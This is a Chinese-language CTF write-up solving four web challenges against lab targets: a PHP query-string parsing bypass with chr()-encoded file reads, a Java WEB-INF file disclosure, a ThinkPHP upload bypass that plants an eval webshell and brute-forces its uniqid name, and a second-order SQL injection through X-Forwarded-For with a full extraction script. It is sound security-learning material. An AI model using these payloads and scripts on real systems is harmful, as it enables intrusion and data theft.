前言:
没错又是疯狂自闭的一场比赛,说白了就是自己太菜,既然当初做不出来就好好分析一下wp吧,看看是哪些地方欠缺
easy_calc:
通过查看源代码,我们可以发现有calc.php这个文件
发现这里通过正则表达式对一些特殊符号进行了过滤,但是坑定不可能这么简单是吧!坑定另有蹊跷!我们输入一些字母试试看。
果不其然!不可能这么轻松,我们这里看一下弹窗的内容,发现“这啥?算不来!”在我们之前的php代码中没有出现过,说明坑定有一个隐藏的waf来对我们对输入进行一个判断和拦截!
在这里通过 -- 利用PHP的字符串解析特性Bypass (感谢wp
https://www.freebuf.com/articles/web/213359.html
简单概述一下就是: $_GET $POST 中 我们会把/?foo=bar变成Array([foo] => “bar”),但是查询字符串在解析的过程中会将某些字符删除或用下划线代替。
举个例子:?%20num[id=1 最终在php解析对过程中会变成如下
可以看到 我们这里对 %20 和 [ 最终解析下 %20没了,[被解析成了_ ,所以我们可以通过这个性质来进行bypass。上面这篇文章都作者写的非常详细,并且举例了各种情况,非常建议去看一下。
所以通过上面都方法,我们可以看到这里phpinfo成功都爆出来了。说明我们有可能可以通过命令执行来获取flag的内容。但是试了试好像 ' 被过滤了,所以需要用chr来进行转换绕过。但是么,我人又懒,一个个对应ascii表我寻思着也太麻烦了吧。所以就写个脚本好了~
user_input = input("translate:")
result = ""
for value in user_input:
#value = "".join(value)
value = "chr(" + str(ord(value))+")" + "."
result = result + value
print(result.strip("."))
Code language: PHP (php)
好了,准备一切就绪我们开始吧!我们首先看看当前文件夹下有哪些
我们直接查看根目录下的文件吧 /calc.php?%20num=var_dump(scandir(chr(47)))
然后我们可以看到f1agg,所以flag应该就在这里面吧,话不多说试试就试试!
然后我们通过php的file_get_contents函数来进行读取文件
file_get_contents:将整个文件读入一个字符串
然后我们只要查看 /f1agg 便可以
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
还有一种方法是通过进制转换,后面应该会补充吧.....
总结:
这道题的核心点我觉得就是那个利用php字符串解析规则bypass,利用chr把引号过滤绕过也不少见,后面就是正常的php命令执行
easy_java
看到登录页面,看wp上面说 admin/admin888,登录进去的页面
图片的路径为/images/img1.jpg
看似好像没什么我们回去看看,之前登录框有个help好像没有看
可以看到这里的help应该有点名堂的
正常情况下,应该直接就下载了,但是这里好像并没有下载。这个GET类型,看了wp上面说是POST类型,所以在burp下我们将GET变成POST
这里如果直接把GET 改成 POST 会报500的,这是因为我们没有添加 Content-Type:application/x-www-form-urlencoded
这是post请求的两种编码格式中的一个,形式就是 key=value 这样
这篇文章说的比较好,可以去看看 https://www.jianshu.com/p/53b5bd0f1d44我这里就不过多阐述了。
ok,我们重新看上面那张截图,通过修改http的请求方法我们可以看出,这样可以下载图片了,那么这样的话我们是不是可以去读取别的文件了呢?在我们正式行动之前我们需要捋清楚,这是 java web
WEB-INF目录结构:
1.它是java的web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
2.web.xml项目部署文件。
3.classes文件夹,用以防止*.class文件
4.lib文件夹,用于存放需要的jar包。
WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。
所以我们先去访问一下/WEB-INF/web.xml
我们可以在响应信息中看到flag
/WEB-INF/classes/ 包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中。
所以我们根据对应的路径进行读取就可以了
这样我们就可以得到flag,base64解码之后就可以获得flag了
Simple Upload
进到页面就看到了源码,是thinkphp的框架,题目是simple upload 应该就是要利用到文件上传漏洞,但是貌似没有直接的上传点,先简单的看一下这个页面,看看可不可以弄到什么版本号...
简单的看了下好像f12,network里面没有什么特别有用的信息。
(补充原理和理解 http://网址/index.php/Home/Index/advert
访问 /index.php/sodkn (index.php/后面的乱输就行,这样才会有页面错误)
这样就可以看到这里thinkphp的版本为 3.2.4
然后我们下载对应对源码进行查看 下载地址:https://github.com/top-think/thinkphp
找到Upload.class.php
文件
看了源码之后其实就可以知道
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
这行代码是形同虚设,因为在thinkphp中对upload这个对象里面根本没有allowExts这个方法..所以不用管就可以了~
找到对应的upload方法进一步查看。
这里我们可以看到如果upload的参数为空的话为多文件上传,整个$_FILES
数组的文件都会上传保存
通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
Code language: PHP (php)
题目中只限制了$_FILES[file]
的上传后缀,也只给出$_FILES[file]上传后的路径,那我们上传多文件就可以绕过php后缀限制。所以只要我们另一个文件的表单名字不是file就可以了,如下图
我们观察这个数据包里面的第二个1.php文件那块,name=file2,所以这个意思就是表单名字不是file的意思。这样我们就可以进行文件上传了。
但是通过进一步查看源码可以发现我们上传的文件是通过uniqid函数来生成的
同时上传txt文件跟php文件,txt上传后的文件名跟php的文件名非常接近,遍历爆破txt文件名后三位0-9 a-f的文件名,就能猜出php的文件名
脚本如下:
import requests
import itertools
import re
session = requests.Session()
# thinkphp默认路由为pathinfo路径形式 → http://网址/index.php/分组/控制器/操作方法
url = 'http://fb59e478-81ad-4f1b-91a0-42d76d09a023.node3.buuoj.cn/index.php/home/index/upload'
files = {'file': ('a.txt', 'a'), 'files':('a.php', '<?php @eval($_POST["t"]); ?>')}
res = session.post(url, files=files).text
print(res)
pattern = re.compile(r'(\d+\w+)\.')
pattern2 = re.compile(r'\/(.*?)\\')
path = pattern2.findall(res)
result = "".join(pattern.findall(res))
# print(path)
name = result[:10] # 忽略后三位文件名
part1 = "".join(path[0])
part2 = "".join(path[1])
part3 = "".join(path[2])
# print(name)
url = "http://fb59e478-81ad-4f1b-91a0-42d76d09a023.node3.buuoj.cn/" + part1 + "/" + part2 + "/" + part3 + "/"
dic = '0123456789abcdef'
for i in itertools.permutations(dic, 3):
u = url + name + ''.join(i) + '.php'
s = session.get(u)
print(str(u) +":" + str(s.status_code))
if s.status_code == 404:
pass
else:
print(u, s.text)
break
Code language: PHP (php)
然后就可以获取到flag了
总结:
我们这里通过上传多个文件来进行绕过题目中的file后缀限制,特别注意的就是我们上传的一句话木马的表单名字一定不能是file。然后又由于uniqid函数是按照时间的所以我们可以通过脚本进行爆破。
参考链接:官方wp
http://www.gtfly.top/2019/10/19/RoarCTF-wp.html#simple-upload
https://www.cnblogs.com/20175211lyz/p/11729027.html
Online Proxy
赵总出的这道题目考察了 X-Forwarded-For 伪造,以及sql的二次注入。
X-Forwarded-For 本来的作用是为了显示出 请求端真实的ip。
查看源码
<!-- Debug Info:
Duration: 0.06725001335144 s
Current Ip: 174.0.0.2 -->
Code language: HTML, XML (xml)
可以看到 current ip 显示了当前的ip,利用postman尝试X-Forwarded-For伪造。
我们通过在http头里面构造了一个 值的KpLi0rn的包进行发送,我们可以发现,现在的current ip 变成了KpLi0rn
尝试查看是否有注入 我们发送一个 1' or '1 的数据包过去 ,结果如下
欢迎使用 Online Proxy。使用方法为 /?url=,例如 /?url=https://baidu.com/。<br>
为了保障您的使用体验,我们可能收集您的使用信息,这些信息只会被用于提升我们的服务,请您放心。<br>
<!-- Debug Info:
Duration: 0.055525064468384 s
Current Ip: 1' or '1
Last Ip: KpLi0rn -->
Code language: HTML, XML (xml)
我们的目的是需要把 这个 1' or '1 写入到数据库中从而构成二次注入 。
再发送一个值为KpLi0rn的数据包
<!-- Debug Info:
Duration: 0.04669713973999 s
Current Ip: KpLi0rn
Last Ip: 1' or '1 -->
Code language: HTML, XML (xml)
这里为什么还是 1' or '1 其实这是 1' or '1 已经写到数据库里面了,但是由于服务端判断前后两次的ip不一样,所以直接显示之前的ip了,所以我们后面只需要再发一次同样的包,由于前后两个包的数值都是KpLi0rn,所以last ip 需要从数据库中读取之前的ip,这时就可以验证有sql二次注入,结果如下。
欢迎使用 Online Proxy。使用方法为 /?url=,例如 /?url=https://baidu.com/。<br>
为了保障您的使用体验,我们可能收集您的使用信息,这些信息只会被用于提升我们的服务,请您放心。<br>
<!-- Debug Info:
Duration: 0.041491985321045 s
Current Ip: KpLi0rn
Last Ip: 1 -->
Code language: HTML, XML (xml)
我们可以看到这里last ip 变成了 1 。接下来使用python自动化就可了,这里先放赵总的脚本。
import requests
target = "http://node3.buuoj.cn:28546/"
def execute_sql(sql):
print("[*]请求语句:" + sql)
return_result = ""
payload = "0'|length((" + sql + "))|'0"
session = requests.session()
r = session.get(target, headers={'X-Forwarded-For': payload})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
length = int(r.text[start_pos + 9: end_pos])
print("[+]长度:" + str(length))
for i in range(1, length + 1, 5):
payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"
r = session.get(target, headers={'X-Forwarded-For': payload})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
result = int(r.text[start_pos + 9: end_pos])
return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')
print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))
return return_result
# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))
# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))
# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))
# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))
Code language: PHP (php)
后面会补充自己的python脚本。